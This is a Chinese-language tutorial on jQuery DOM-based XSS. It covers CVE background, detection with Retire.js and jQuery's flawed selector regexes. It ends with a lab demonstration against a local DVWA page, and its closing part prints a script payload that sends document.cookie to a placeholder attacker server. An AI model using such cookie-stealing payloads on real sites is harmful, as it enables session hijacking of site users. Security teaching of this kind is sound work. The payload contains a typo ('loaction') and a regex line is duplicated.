1.简介
jQuery是一个快速、简洁的JavaScript框架,是一个丰富的JavaScript代码库。jQuery设计的目的是为了写更少的代码,做更多的事情。它封装 JavaScript 常用的功能代码,提供一种简便的 JavaScript 设计模式,优化 HTML 文档操作、事件处理、动画设计和 Ajax 交互。
据一项调查报告,在对 433000 个网站的分析中发现,77%的网站至少使用了一个具有已知安全漏洞的前端 JavaScript 库,而 jQuery 位列榜首,而且远远超过其他库。但事实上这些库有可用的不存在漏洞的最新版本,只是很少有开发人员会更新,一方面安全意识不够,另一方面更新需考虑兼容性问题。
XSS(cross site script) 跨站脚本。属于代码执行的一种,这里执行的是前端代码,一般是javascript代码。对于反射型的XSS,攻击代码是在Http的响应包中。攻击者通过构造含有攻击代码的URL,被攻击者点击后,攻击代码在客户端解释执行。可以通过此恶意代码向攻击者的服务器发送被攻击者的敏感信息,从而实现攻击目的。
在 JQuery 的诸多发行版本中,存在着 DOM-based XSS(跨站脚本攻击的一种) 漏洞,易被攻击者利用。漏洞原因在于过滤用户输入数据所使用的正则表达式存在缺陷,可能导致 LOCATION.HASH 跨站漏洞。这也是最为被大众熟知的 jQuery 的一个漏洞。此外,1.12.0 之前的 jQuery UI 库也可以通过对话框函数的 closeText 参数进行 DOM-based XSS 攻击。
2.漏洞检测
直接使用火狐浏览器的插件:Retire.js
,他可以对CVE-2017-7103、CVE-2015-9251、CVE-2014-6071、CVE-2012-6708、CVE-2011-4969 等XSS漏洞进行检测
3.漏洞成因
jQuery框架本身并不会导致XSS(跨站脚本攻击)漏洞,但它可以用于构建前端交互和动态内容,如果不正确使用或处理用户输入的数据,可能会导致XSS漏洞。
XSS漏洞是由于网站在处理用户输入时未对输入进行正确的过滤、转义或验证而产生的。攻击者可以通过在用户输入中注入恶意的脚本代码,当其他用户访问该页面时,恶意脚本会在其浏览器中执行,进而导致安全问题。
jQuery 中过滤用户输入数据所使用的正则表达式存在缺陷,导致location.hash
跨站脚本攻击。
漏洞利用
jQuery 1.6.1版本
正则表达式如下
quickExpr = /^(?:[^<]*(<[\w\W]+>)[^>]*$|#([\w\-]*)$)/,
jQuery1.7.2 版本
正则表达式如下
quickExpr = /^(?:[^#<]*(<[\w\W]+>)[^>]*$|#([\w\-]*)$)/,
jQuery1.7.2 版本
正则表达式如下:
quickExpr = /^(?:[^#<]*(<[\w\W]+>)[^>]*$|#([\w\-]*)$)/,
构造攻击url :<script>document.loaction='http://攻击者服务器ip地址/cookie.php?cookie='+document.cookie</script>
模拟被攻击者去访问一下:localhost:8081/dvwa/vulnerabilities/xss_r/?name=<script>document.loaction='http://攻击者服务器ip地址/cookie.php?cookie='+document.cookie</script>
成功截图